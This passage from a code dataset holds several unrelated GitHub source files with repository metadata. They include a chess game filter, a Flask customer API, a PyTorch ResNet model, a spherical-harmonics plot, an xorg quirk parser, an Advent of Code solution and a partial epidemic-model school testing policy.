[\"0+1\",\"1+1\",\"1/2+0\",\"1+0\"]\n for f in os.listdir():\n pgn=open(f)\n \n offsets = []\n while True:\n offset = pgn.tell()\n headers = chess.pgn.read_headers(pgn)\n if headers is None:\n break\n if \"?\" not in headers[\"WhiteElo\"]:\n welo= int(headers[\"WhiteElo\"])\n else: continue\n if \"?\" not in headers[\"BlackElo\"]:\n belo= int(headers[\"BlackElo\"])\n else: continue\n\n if welo>=elo and belo>=elo:\n if headers[\"TimeControl\"] in bullet_format: continue\n offsets.append(offset)\n #counter+=1\n #print(counter,i)\n \n for offset in offsets:\n pgn.seek(offset)\n game=chess.pgn.read_game(pgn)\n print(game)\n print()\n print()\n\nif __name__ == \"__main__\":\n #os.chdir(\"./lichess_db\")\n orig_stdout = sys.stdout\n output=open(\"filtered_2200.pgn\",\"w\")\n sys.stdout = output\n os.chdir(\"./lichess_db\")\n filter_games(2200)\n sys.stdout = orig_stdout\n output.close()\n","repo_name":"GiannisTheo/atomic-chess-variant","sub_path":"filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1948182283","text":"# Heavily referenced data\n\n\nSPORT_TO_SUFFIX = {\n \"nfl\": \"football/nfl\",\n \"nba\": \"basketball/nba\",\n \"nhl\": \"/hockey/nhl\",\n \"mlb\": \"baseball/mlb\",\n \"college-football\": \"football/college-football\",\n \"college-basketball\": \"basketball/college-basketball\",\n}\nimport sips\n\nPROJ_DIR = sips.__path__[0] + \"/\"\nPARENT_DIR = PROJ_DIR + \"../\"\n\nLINES_DIR = PROJ_DIR + \"../data/lines/lines/\"\n\nDATA_DIR = PARENT_DIR + \"data/\"\n\nNBA_DATA = DATA_DIR + \"nba/\"\nNFL_DATA = DATA_DIR + \"nfl/\"\nMLB_DATA = DATA_DIR + \"mlb/\"\n\nNBA_GAME_DATA = NBA_DATA + \"games/\"\nNBA_PLAYER_DATA = NBA_DATA + \"players/\"\n\nNFL_GAME_DATA = NFL_DATA + \"games/\"\nNFL_PLAYER_DATA = NFL_DATA + \"players/\"\n\nMLB_GAME_DATA = MLB_DATA + \"games/\"\nMLB_PLAYER_DATA = MLB_DATA + \"players/\"\n","repo_name":"anandijain/sips","sub_path":"sips/macros/macros.py","file_name":"macros.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"38882667765","text":"from Repository import CustomersRepos\nfrom Handler import CustomerAPI\nfrom flask import jsonify\n\n\ndef show_all_customers():\n customers = CustomersRepos.select_all_customers()\n try:\n output = []\n for customer in customers:\n customer = {'customer_id': customer['customer_id'],\n 'full_name': customer['full_name'],\n 'phone': customer['phone']}\n\n output.append(customer)\n return jsonify({\"customers\": output})\n except:\n return jsonify({\"message\": \"Không có customer nào cả!\"})\n\n\ndef add_customers_to_data(data):\n CustomersRepos.insert_customer(data)\n customers_id = CustomersRepos.select_customer(data)\n return jsonify({\"message\": \"Thêm thành công\",\n \"customer\": customers_id})\n\ndef change_customers(id,data):\n\n CustomersRepos.update_customer(id,data)\n customer = CustomersRepos.select_customer(data)\n return jsonify({\"message\": \"Đổi tên customer thành công\",\n \"customer\": customer})\n\ndef delete_customers(id):\n CustomersRepos.delete_customer(id)\n return jsonify({\"message\": \"Xóa customer thành công\"})\n\ndef show_one_customers(id):\n customer = CustomersRepos.select_one_customers(id)\n try:\n data = {'customer_id': customer['customer_id'],\n 'full_name': customer['full_name'],\n 'phone': customer['phone']}\n return jsonify({\"customer\": data})\n except:\n return jsonify({\"message\": \"Không có customer id này!\"})","repo_name":"luuquockhanhxoe/Hotel_Managerent","sub_path":"Service/CustomersService.py","file_name":"CustomersService.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20385410006","text":"from torch import nn\nfrom torch import optim\nfrom pytorch_lightning import LightningModule\nfrom torchmetrics import MeanMetric\nfrom torch_lr_finder import LRFinder\n\nfrom utils.metrics import RunningAccuracy\n\n\nclass ConvLayer(nn.Module):\n def __init__(self, input_c, output_c, bias=False, stride=1, padding=1, pool=False, dropout=0.):\n super(ConvLayer, self).__init__()\n\n layers = list()\n layers.append(\n nn.Conv2d(input_c, output_c, kernel_size=3, bias=bias, stride=stride, padding=padding,\n padding_mode='replicate')\n )\n if pool:\n layers.append(nn.MaxPool2d(kernel_size=2, stride=2))\n layers.append(nn.BatchNorm2d(output_c))\n layers.append(nn.ReLU())\n if dropout > 0:\n layers.append(nn.Dropout(dropout))\n\n self.all_layers = nn.Sequential(*layers)\n\n def forward(self, x):\n return self.all_layers(x)\n\n\nclass CustomLayer(nn.Module):\n def __init__(self, input_c, output_c, pool=True, residue=2, dropout=0.):\n super(CustomLayer, self).__init__()\n\n self.pool_block = ConvLayer(input_c, output_c, pool=pool, dropout=dropout)\n self.res_block = None\n if residue > 0:\n layers = list()\n for i in range(0, residue):\n layers.append(ConvLayer(output_c, output_c, pool=False, dropout=dropout))\n self.res_block = nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.pool_block(x)\n if self.res_block is not None:\n x_ = x\n x = self.res_block(x)\n # += operator causes inplace errors in pytorch if done right after relu.\n x = x + x_\n return x\n\n\nclass Model(LightningModule):\n def __init__(self, dataset, dropout=0.05, max_epochs=24):\n super(Model, self).__init__()\n\n self.dataset = dataset\n\n self.network = nn.Sequential(\n CustomLayer(3, 64, pool=False, residue=0, dropout=dropout),\n CustomLayer(64, 128, pool=True, residue=2, dropout=dropout),\n CustomLayer(128, 256, pool=True, residue=0, dropout=dropout),\n CustomLayer(256, 512, pool=True, residue=2, dropout=dropout),\n nn.MaxPool2d(kernel_size=4, stride=4),\n nn.Flatten(),\n nn.Linear(512, 10)\n )\n\n self.criterion = nn.CrossEntropyLoss()\n self.train_accuracy = RunningAccuracy()\n self.val_accuracy = RunningAccuracy()\n self.train_loss = MeanMetric()\n self.val_loss = MeanMetric()\n\n self.max_epochs = max_epochs\n self.epoch_counter = 1\n\n def forward(self, x):\n return self.network(x)\n\n def common_step(self, batch, loss_metric, acc_metric):\n x, y = batch\n batch_len = y.numel()\n logits = self.forward(x)\n loss = self.criterion(logits, y)\n loss_metric.update(loss, batch_len)\n acc_metric.update(logits, y)\n return loss\n\n def training_step(self, batch, batch_idx):\n return self.common_step(batch, self.train_loss, self.train_accuracy)\n\n def on_train_epoch_end(self):\n print(f\"Epoch: {self.epoch_counter}, Train: Loss: {self.train_loss.compute():0.4f}, Accuracy: \"\n f\"{self.train_accuracy.compute():0.2f}\")\n self.train_loss.reset()\n self.train_accuracy.reset()\n self.epoch_counter += 1\n\n def validation_step(self, batch, batch_idx):\n loss = self.common_step(batch, self.val_loss, self.val_accuracy)\n self.log(\"val_step_loss\", self.val_loss, prog_bar=True, logger=True)\n self.log(\"val_step_acc\", self.val_accuracy, prog_bar=True, logger=True)\n return loss\n\n def on_validation_epoch_end(self):\n print(f\"Epoch: {self.epoch_counter}, Valid: Loss: {self.val_loss.compute():0.4f}, Accuracy: \"\n f\"{self.val_accuracy.compute():0.2f}\")\n self.val_loss.reset()\n self.val_accuracy.reset()\n\n def predict_step(self, batch, batch_idx, dataloader_idx=0):\n if isinstance(batch, list):\n x, _ = batch\n else:\n x = batch\n return self.forward(x)\n\n def find_lr(self, optimizer):\n lr_finder = LRFinder(self, optimizer, self.criterion)\n lr_finder.range_test(self.dataset.train_loader, end_lr=0.1, num_iter=100, step_mode='exp')\n _, best_lr = lr_finder.plot()\n lr_finder.reset()\n return best_lr\n\n def configure_optimizers(self):\n optimizer = optim.Adam(self.parameters(), lr=1e-7, weight_decay=1e-2)\n best_lr = self.find_lr(optimizer)\n scheduler = optim.lr_scheduler.OneCycleLR(\n optimizer,\n max_lr=best_lr,\n steps_per_epoch=len(self.dataset.train_loader),\n epochs=self.max_epochs,\n pct_start=5/self.max_epochs,\n div_factor=100,\n three_phase=False,\n final_div_factor=100,\n anneal_strategy='linear'\n )\n return {\n 'optimizer': optimizer,\n 'lr_scheduler': {\n \"scheduler\": scheduler,\n \"interval\": \"step\",\n }\n }\n\n def prepare_data(self):\n self.dataset.download()\n\n def train_dataloader(self):\n return self.dataset.train_loader\n\n def val_dataloader(self):\n return self.dataset.test_loader\n\n def predict_dataloader(self):\n return self.val_dataloader()\n","repo_name":"abhiiyer/ERA1","sub_path":"Session-12/models/custom_resnet.py","file_name":"custom_resnet.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8008889409","text":"#! /usr/bin/env python\n\n\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import cm, colors\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MultipleLocator, StrMethodFormatter\nimport scipy.special as sp\nfrom scipy.misc import factorial\n\nrad2deg = 180/np.pi\n\n# Number of phi values and the angular increment\nnphi = 90\nda = 2*np.pi/nphi\n# Calculate theta and phi values\nphi = np.linspace(0, 2*np.pi, 100)\ntheta = np.linspace(0, np.pi, 100)\nphi, theta = np.meshgrid(phi, theta)\n\ndef sph_harmonic(l, m, theta, phi):\n P_lm = sp.lpmv(m,l,np.cos(theta))\n prefactor = np.sqrt((1.0 * (2*l + 1) * factorial(l-m))/(4*np.pi * factorial(l+m)))\n\n Y_lm = prefactor * P_lm * np.exp(1j * m * phi)\n\n return Y_lm\n\nY_lm = sph_harmonic(2, 0, theta, phi).real\nY_sup = np.sqrt(3./8)*sph_harmonic(2,2,theta,phi) + np.sqrt(3./8)*sph_harmonic(2,-2,theta,phi) -\\\n0.5*sph_harmonic(2,0,theta,phi)\n\n\n##################################################################################################\nr = np.abs(Y_sup)\n# The Cartesian coordinates of the spheres\nx = r * np.sin(theta) * np.cos(phi)\ny = r * np.sin(theta) * np.sin(phi)\nz = r * np.cos(theta)\n\nN = r/r.max() # Color scaling for mapping on to the harmonics\nfig, ax = plt.subplots(subplot_kw=dict(projection='3d'), figsize=(12,10))\nim = ax.plot_surface(x, y, z, rstride=1, cstride=1, facecolors=cm.jet(N))\nm = cm.ScalarMappable(cmap=cm.jet)\nm.set_array(r) # Assign the unnormalized data array to the mappable\n #so that the scale corresponds to the values of R\nfig.colorbar(m, shrink=0.8);\nax.set_axis_off()\n\nplt.show()\n##################################################################################################\n# Calculate the spherical harmonic Y(l,m) and normalize to [0,1]\nfcolors = Y_sup.real\nfmax, fmin = fcolors.max(), fcolors.min()\nfcolors = (fcolors - fmin)/(fmax - fmin)\n\nx = np.sin(theta) * np.cos(phi)\ny = np.sin(theta) * np.sin(phi)\nz = np.cos(theta)\n\n# # Set the aspect ratio to 1 so our sphere looks spherical\n# fig2 = plt.figure(figsize=plt.figaspect(1.))\nfig2 = plt.figure(figsize=(12,12))\nax2 = fig2.add_subplot(111, projection='3d')\nax2.plot_surface(x, y, z, rstride=1, cstride=1, facecolors=cm.seismic(fcolors))\nm2 = cm.ScalarMappable(cmap=cm.seismic)\nm2.set_array(fcolors) # Assign the unnormalized data array to the mappable\n #so that the scale corresponds to the values of R\nfig2.colorbar(m2, shrink=0.8);\n# # Turn off the axis planes\nax2.set_axis_off()\n\nplt.show()\n\n# ylabels = map(str, range(-90, 90, 15))\n# yFormatter = StrMethodFormatter(r\"{x:2.1f}\")\n# fig, ax = plt.subplots(figsize=(12,12), subplot_kw=dict(projection='mollweide'))\n# ax.pcolor(phi - np.pi, np.pi/2 - theta, np.abs(Y_sup)**2);\n# ax.xaxis.set_visible(False)\n# ax.yaxis.set_ticklabels(ylabels);\n","repo_name":"WanduiAlbert/Cosmology","sub_path":"sphericalharmonics.py","file_name":"sphericalharmonics.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"637130019","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# (c) 2012 Canonical Ltd.\n#\n# Authors: Alberto Milone \n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nimport xkit.xutils\nimport xkit.xorgparser\nimport Quirks.quirkinfo\n\nimport tempfile\nimport os\n\nclass Quirk:\n\n def __init__(self, id=None, handler=[], x_snippet=\"\", match_tags={}):\n self.id = id\n self.handler = handler\n self.x_snippet = x_snippet\n self.match_tags = {}.fromkeys(Quirks.quirkinfo.dmi_keys, '')\n\nclass ReadQuirk:\n\n def __init__(self, source=None):\n self.source = source\n \n #See if the source is a file or a file object\n #and act accordingly\n file = self.source\n if file == None:\n lines_list = []\n else:\n if not hasattr(file, 'write'):#it is a file\n myfile = open(file, 'r', encoding='utf-8')\n lines_list = myfile.readlines()\n myfile.close()\n else:#it is a file object\n lines_list = file.readlines()\n \n inside_quirk = False\n has_id = False\n has_handler = False\n inside_x_snippet = False\n self._quirks = []\n\n it = 0\n for line in lines_list:\n if line.strip().startswith('#'):\n continue\n if inside_quirk:\n if inside_x_snippet:\n\n if line.lower().strip().startswith('endxorgsnippet'):\n inside_x_snippet = False\n continue\n else:\n self._quirks[it].x_snippet += line\n else:\n #not in x_snippet\n if not has_id and line.lower().strip().startswith('identifier'):\n has_id = True\n temp_str = \"identifier\"\n id = line[line.lower().rfind(temp_str) + len(\n temp_str):].strip().replace('\"', '')\n self._quirks[it].id = id\n del temp_str\n elif not has_handler and line.lower().strip().startswith('handler'):\n has_handler = True\n temp_str = \"handler\"\n handler = line[line.lower().rfind(temp_str) + len(\n temp_str):].strip().replace('\"', '')\n handlers_list = handler.split('|')\n self._quirks[it].handler = handlers_list\n del temp_str\n elif line.lower().strip().startswith('match'):\n temp_str = \"match\"\n temp_bits = line[line.lower().rfind(temp_str) +\n len(temp_str):].strip().split('\"')\n tag_match = ''\n tag_value = ''\n tag_values = []\n for elem in temp_bits:\n if elem.strip():\n if not tag_match:\n tag_match = elem.strip()\n #tag_values = []\n else:\n tag_value = elem.strip()\n tag_values = tag_value.split('|')\n self._quirks[it].match_tags[tag_match] = tag_values\n break\n del temp_bits\n del temp_str\n del tag_values\n elif line.lower().strip().startswith('xorgsnippet'):\n inside_x_snippet = True\n self._quirks[it].x_snippet = \"\"\n continue\n \n elif line.lower().strip().startswith('endsection'):\n #End Quirk\n inside_quirk = False\n if not self._quirks[it].id:\n self._quirks.pop(it)\n else:\n it += 1\n else:\n if line.lower().strip().startswith('section') \\\n and \"quirk\" in line.lower():\n #Begin Quirk\n inside_quirk = True\n temp_quirk = Quirk()\n self._quirks.append(temp_quirk)\n del temp_quirk\n continue\n\n def get_quirks(self):\n return self._quirks\n\n\n#if __name__ == \"__main__\":\n #quirk_file = ReadQuirk(\"quirk_snippet.txt\")\n #quirks = quirk_file.get_quirks()\n #for quirk in quirks:\n #print 'Quirk id: \"%s\"' % quirk.id\n #for tag in quirk.match_tags.keys():\n #print 'Matching \"%s\" with value \"%s\"' % (tag, quirk.match_tags[tag])\n #print quirk.x_snippet\n\n #tmp_file = tempfile.NamedTemporaryFile(mode='w', delete=False)\n #tmp_file.write(quirk.x_snippet)\n #tmp_file.close()\n\n #tmp_xkit = xkit.xorgparser.Parser(tmp_file.name)\n #print tmp_xkit.globaldict\n #os.unlink(tmp_file.name)\n","repo_name":"eXtern-OS/eXternOS-Base","sub_path":"squashfs-root/usr/lib/python3/dist-packages/Quirks/quirkreader.py","file_name":"quirkreader.py","file_ext":"py","file_size_in_byte":5806,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"38"} +{"seq_id":"30009027577","text":"import re\nimport yaml\nimport time\nimport requests\n\n\n# Helpers\n\ndef sync_repos():\n repos = get_repos()\n with open('scripts/repos.yml', 'w') as file:\n yaml.dump(repos, file)\n\n\ndef get_repos():\n repos = {}\n for page in range(1, 4):\n url = 'https://api.github.com/orgs/frictionlessdata/repos?page=%s' % page\n for repo in requests.get(url).json():\n repo['maintainer'] = get_maintainer(repo)\n repos[repo['name']] = repo\n print('Collected: %s' % repo['name'])\n return repos\n\n\ndef get_maintainer(repo):\n time.sleep(0.1)\n url = 'https://raw.githubusercontent.com/%s/master/MAINTAINER.md' % repo['full_name']\n res = requests.get(url)\n maintainer = res.text.strip() if res.status_code == 200 else None\n if not maintainer:\n\n # specifications\n if repo['name'] == 'specs':\n maintainer = 'rufuspollock'\n\n # software-broad/datapackge-pipelines\n if repo['name'].startswith('datapackage-pipelines') or repo['name'].startswith('dataflows'):\n maintainer = 'akariv'\n\n # software-broad/datapackage-render\n if repo['name'] == 'datapackage-render-js':\n maintainer = 'anuveyatsu'\n\n # software-broad/datapackage-googlesheets\n if repo['name'] == 'googlesheets-datapackage-tools':\n maintainer = 'stephanmax'\n\n # software-broad/datapackage-darwin-core\n if repo['name'] == 'FrictionlessDarwinCore':\n maintainer = 'andrejjh'\n\n # software-broad/delimiter\n if repo['name'] == 'delimiter':\n maintainer = 'timwis'\n\n return maintainer\n\n\n# Main\n\nif __name__ == '__main__':\n sync_repos()\n","repo_name":"frictionlessdata/software-legacy","sub_path":"scripts/repos.py","file_name":"repos.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"33487797381","text":"def findSumOfTwo(lines, right, preamble):\n number = lines[right]\n\n for i in range(1, preamble + 1):\n for j in range(1, i):\n if int(lines[right - i]) + int(lines[right - j]) == int(number):\n return True\n return False\n\ndef findComponents(lines, number):\n for i in range(len(lines)):\n smallest = int(number) + 1\n largest = -1\n sum = j = 0\n while sum < int(number):\n sum += int(lines[i+j])\n\n if int(lines[i+j]) < smallest:\n smallest = int(lines[i+j])\n elif int(lines[i+j]) > largest:\n largest = int(lines[i+j])\n j += 1\n \n if sum == int(number):\n return smallest + largest\n\n return None\n\nfile = open(\"day9_input.txt\", \"r\")\nlines = file.read().splitlines()\n\nPREAMBLE = 25\nwrongNumber = None\n\nfor i in range(PREAMBLE, len(lines)):\n if findSumOfTwo(lines, i, PREAMBLE) == False:\n wrongNumber = lines[i]\n break\n\nprint(wrongNumber)\nprint(findComponents(lines, wrongNumber))\n ","repo_name":"c-44h/Advent-of-Code","sub_path":"day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34967528720","text":"# NOTE: this policy is intended to be run with a special graph for schools!!!!\n# Do not use it for normal graphs (hodoninsko, lounsko, papertown, etc).\nimport global_configs as cfgs\nfrom global_configs import monitor\nfrom depo import Depo\nimport numpy as np\nimport pandas as pd\nfrom policies.policy import Policy\nfrom utils.history_utils import TimeSeries\nimport logging\n\nfrom models.agent_based_network_model import STATES\nfrom utils.config_utils import ConfigFile\nfrom utils.graph_utils import compute_mean_degree\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\nclass BasicSchoolPolicy(Policy):\n\n \"\"\"\n BasicSchoolPolicy takes care of switching work days \n and weekend.\n\n \"\"\"\n\n def __init__(self, graph, model, config_file=None, config_obj=None):\n super().__init__(graph, model)\n\n self.weekend_start = 5\n self.weekend_end = 0\n\n self.first_day = True\n self.stopped = False\n self.testing = False\n self.test_sensitivity = 0.4\n self.test_days = (0, 2)\n self.test_groups = None\n\n self.at_school = np.ones(self.graph.num_nodes, dtype=bool)\n self.nodes = np.arange(self.graph.num_nodes)\n teachers = self.graph.nodes_age >= 20\n self.at_school[teachers] = 0 # do not test teachers\n\n self.cf = ConfigFile()\n if config_file is not None:\n self.cf.load(config_file)\n test_sec = self.cf.section_as_dict(\"TESTING\")\n if test_sec.get(\"testing\", \"No\") == \"Yes\":\n self.testing = True\n if \"sensitivity\" in test_sec:\n self.test_sensitivity = test_sec[\"sensitivity\"]\n if \"days\" in test_sec:\n self.test_days = test_sec[\"days\"]\n if not type(self.test_days) is list:\n self.test_days = (self.test_days,)\n else:\n self.test_days = [int(x) for x in self.test_days]\n\n logging.info(f\"testing {self.testing}\")\n logging.info(f\"test sensitivity {self.test_sensitivity}\")\n\n # all layers will be turned off for weekend\n self.mask_all_layers = {\n i: 0\n for i in range(len(self.graph.layer_weights))\n }\n self.back_up_layers = None\n\n # todo .. let it be a part of a graph\n # ZS:\n layers_apart_school = [5, 6, 12] + list(range(41, 72))\n # layers_apart_school = [2, 7, 11]\n self.school_layers = [\n x\n for x in range(len(self.graph.layer_weights))\n if x not in layers_apart_school\n ]\n\n self.positive_test = np.zeros(self.graph.num_nodes, dtype=bool)\n self.depo = Depo(self.graph.number_of_nodes)\n\n self.stat_in_quara = TimeSeries(301, dtype=int)\n\n def nodes_to_quarantine(self, nodes):\n self.at_school[nodes] = False\n if cfgs.MONITOR_NODE is not None and cfgs.MONITOR_NODE in nodes:\n monitor(self.model.t,\n \"goes to the stay-at-home state.\")\n edges_to_close = self.graph.get_nodes_edges_on_layers(\n nodes,\n self.school_layers\n )\n self.graph.switch_off_edges(edges_to_close)\n\n def nodes_from_quarantine(self, nodes):\n self.at_school[nodes] = True\n\n if cfgs.MONITOR_NODE is not None and cfgs.MONITOR_NODE in nodes:\n monitor(self.model.t,\n \"goes to the go-to-school state.\")\n edges_to_release = self.graph.get_nodes_edges_on_layers(\n nodes,\n self.school_layers\n )\n self.graph.switch_on_edges(edges_to_release)\n\n def first_day_setup(self):\n # # move teachers to R (just for one exp)\n # teachers = self.graph.nodes[self.graph.nodes_age >= 20]\n # #self.model.move_to_R(teachers)\n # self.nodes_to_quarantine(teachers)\n\n # switch off all layers till day 35\n # ! be careful about colision with layer calendar\n self.first_day_back_up = self.graph.layer_weights.copy()\n self.graph.set_layer_weights(self.mask_all_layers.values())\n self.stat_in_quara[0:self.model.t] = 0\n\n def do_testing(self):\n\n released = self.depo.tick_and_get_released()\n if len(released) > 0:\n self.graph.recover_edges_for_nodes(released)\n if cfgs.MONITOR_NODE is not None and cfgs.MONITOR_NODE in released:\n monitor(self.model.t,\n \"node released from quarantine.\")\n\n assert len(released) == 0 or self.model.t % 7 in self.test_days\n\n # monday or wednesday perform tests -> do it the night before\n if self.model.t % 7 in self.test_days:\n\n students_at_school = np.logical_and(\n self.at_school,\n self.graph.is_quarantined == 0\n )\n\n if self.test_groups is not None:\n should_not_be_tested = self.test_groups[self.test_passive]\n\n if cfgs.MONITOR_NODE is not None and cfgs.MONITOR_NODE in should_not_be_tested:\n monitor(self.model.t,\n \"node should NOT be tested.\")\n\n students_at_school[should_not_be_tested] = False\n\n if cfgs.MONITOR_NODE is not None and students_at_school[cfgs.MONITOR_NODE]:\n monitor(self.model.t,\n \"node is at school and will be tested.\")\n\n # at school and positive\n possibly_positive = (\n self.model.memberships[STATES.I_n] +\n self.model.memberships[STATES.I_s] +\n self.model.memberships[STATES.I_a] +\n self.model.memberships[STATES.J_n] +\n self.model.memberships[STATES.J_s]\n ).ravel()\n if cfgs.MONITOR_NODE is not None and possibly_positive[cfgs.MONITOR_NODE]:\n monitor(self.model.t,\n \"node is positive.\")\n\n possibly_positive_test = np.logical_and(\n students_at_school,\n possibly_positive\n )\n if cfgs.MONITOR_NODE is not None and possibly_positive_test[cfgs.MONITOR_NODE]:\n monitor(self.model.t,\n \"node is positive and is tested.\")\n\n self.positive_test.fill(0)\n num = possibly_positive_test.sum()\n r = np.random.rand(num)\n self.positive_test[possibly_positive_test] = r < self.test_sensitivity\n\n if cfgs.MONITOR_NODE is not None and self.positive_test[cfgs.MONITOR_NODE]:\n monitor(self.model.t,\n \"had positive tested.\")\n\n self.depo.lock_up(self.positive_test, 7)\n self.graph.modify_layers_for_nodes(list(self.nodes[self.positive_test]),\n self.graph.QUARANTINE_COEFS)\n\n if cfgs.MONITOR_NODE is not None and self.graph.is_quarantined[cfgs.MONITOR_NODE]:\n monitor(self.model.t,\n \"is in quarantine.\")\n\n self.stat_in_quara[self.model.t] = self.depo.num_of_prisoners\n\n def stop(self):\n \"\"\" just finish necessary, but do nothing new \"\"\"\n self.stopped = True\n\n def closing_and_opening(self):\n pass\n\n def run(self):\n\n if self.first_day:\n self.first_day_setup()\n self.first_day = False\n\n logging.info(\n f\"Hello world! This is the {self.__class__.__name__} function speaking. {'(STOPPED)' if self.stopped else ''}\")\n\n if self.model.t % 7 == self.weekend_start:\n logging.info(\"Start weekend, closing.\")\n self.back_up_layers = self.graph.layer_weights.copy()\n self.graph.set_layer_weights(self.mask_all_layers.values())\n\n if self.model.t % 7 == self.weekend_end:\n logging.info(\"End weekend, opening.\")\n if self.back_up_layers is None:\n logging.warning(\"The school policy started during weekend!\")\n else:\n self.graph.set_layer_weights(self.back_up_layers)\n\n if (self.first_day_back_up is not None and self.model.t >= 35\n and self.model.t % 7 == self.weekend_end): # 35 is sunday! run it after end of weekend\n self.graph.set_layer_weights(self.first_day_back_up)\n self.first_day_back_up = None # run it only once\n # print(f\"t={self.model.t}\")\n # print(self.graph.layer_weights)\n # exit()\n\n self.closing_and_opening()\n\n if self.model.t >= 35 and self.testing:\n self.do_testing()\n\n # if self.model.t % 7 == 1:\n # # print every week the mean degree of second group\n # students = self.graph.nodes[self.graph.nodes_age < 20]\n # mean_degree = compute_mean_degree(self.graph, students)\n # logging.debug(f\"Day {self.model.t}: Mean degree of a student {mean_degree}\")\n\n def to_df(self):\n index = range(0, self.model.t+1)\n columns = {\n f\"school_policy_in_quara\": self.stat_in_quara[:self.model.t+1],\n }\n columns[\"day\"] = np.floor(index).astype(int)\n df = pd.DataFrame(columns, index=index)\n df.index.rename('T', inplace=True)\n return df\n\n\nclass ClosePartPolicy(BasicSchoolPolicy):\n\n \"\"\"\n ClosePartPolicy enables to close classes listed in config file.\n\n \"\"\"\n\n def convert_class(self, a):\n _convert = np.vectorize(lambda x: (\n self.graph.cat_table[\"class\"]+[None])[x])\n return _convert(a)\n\n def nodes_in_classes(self, list_of_classes):\n # todo - save node_classes? not to convert every time\n node_classes = self.convert_class(self.graph.nodes_class)\n return self.graph.nodes[np.isin(node_classes, list_of_classes)]\n\n def classes_to_quarantine(self, list_of_classes):\n \"\"\" Put all nodes belonging to listed classes to quarantine. \"\"\"\n self.nodes_to_close = self.nodes_in_classes(list_of_classes)\n self.at_school[self.nodes_to_close] = False\n if cfgs.MONITOR_NODE is not None and cfgs.MONITOR_NODE in self.nodes_to_close:\n monitor(self.model.t,\n \"goes to the stay-at-home state.\")\n\n # self.graph.modify_layers_for_nodes(self.nodes_to_close,\n # self.mask_all_layers)\n edges_to_close = self.graph.get_nodes_edges_on_layers(\n self.nodes_to_close,\n self.school_layers\n )\n self.graph.switch_off_edges(edges_to_close)\n\n def classes_from_quarantine(self, list_of_classes):\n \"\"\" Releases all nodes belonging to listed classes from quarantine. \"\"\"\n self.nodes_to_release = self.nodes_in_classes(list_of_classes)\n # self.graph.recover_edges_for_nodes(self.nodes_to_release)\n self.at_school[self.nodes_to_release] = True\n if cfgs.MONITOR_NODE is not None and cfgs.MONITOR_NODE in self.nodes_to_release:\n monitor(self.model.t,\n \"goes to the go-to-school state.\")\n edges_to_release = self.graph.get_nodes_edges_on_layers(\n self.nodes_to_release,\n self.school_layers\n )\n self.graph.switch_on_edges(edges_to_release)\n\n def first_day_setup(self):\n\n super().first_day_setup()\n\n close_teachers = self.cf.section_as_dict(\n \"CLOSED\").get(\"close_teachers\", \"No\")\n if close_teachers == \"Yes\":\n teachers = self.graph.nodes[self.graph.nodes_age >= 20]\n edges_to_close = self.graph.get_nodes_edges_on_layers(\n teachers,\n self.school_layers\n )\n self.graph.switch_off_edges(edges_to_close)\n\n # move teachers to R (just for one exp)\n #teachers = self.graph.nodes[self.graph.nodes_age >= 20]\n # self.model.move_to_R(teachers)\n\n # classes listed in config file goes to quarantine\n classes_to_close = self.cf.section_as_dict(\n \"CLOSED\").get(\"classes\", list())\n if len(classes_to_close) > 0:\n logging.info(f\"Closing classes {classes_to_close}\")\n self.classes_to_quarantine(classes_to_close)\n else:\n logging.info(\"No classes clossed.\")\n\n\nclass AlternatingPolicy(ClosePartPolicy):\n\n def __init__(self, graph, model, config_file=None):\n super().__init__(graph, model, config_file)\n\n rotate_class_groups = self.cf.section_as_dict(\n \"ALTERNATE\").get(\"use_class_groups\", \"No\") == \"Yes\"\n\n if not rotate_class_groups:\n group1 = self.cf.section_as_dict(\n \"ALTERNATE\").get(\"group1\", list())\n group2 = self.cf.section_as_dict(\n \"ALTERNATE\").get(\"group2\", list())\n\n nodes_group1 = self.nodes_in_classes(group1)\n nodes_group2 = self.nodes_in_classes(group2)\n self.groups = (nodes_group1, nodes_group2)\n else:\n nodes_group1 = self.graph.nodes[self.graph.nodes_class_group == 0]\n nodes_group2 = self.graph.nodes[self.graph.nodes_class_group == 1]\n\n self.groups = (nodes_group1, nodes_group2)\n\n self.passive_group, self.active_group = 1, 0\n self.nodes_to_quarantine(self.groups[self.passive_group])\n\n testing_cfg = self.cf.section_as_dict(\"TESTING_GROUPS\")\n if testing_cfg:\n use_class_groups = testing_cfg.get(\n \"use_class_groups\", \"No\") == \"Yes\"\n\n if not use_class_groups:\n group1a = testing_cfg[\"group1a\"]\n group1b = testing_cfg[\"group1b\"]\n group2a = testing_cfg[\"group2a\"]\n group2b 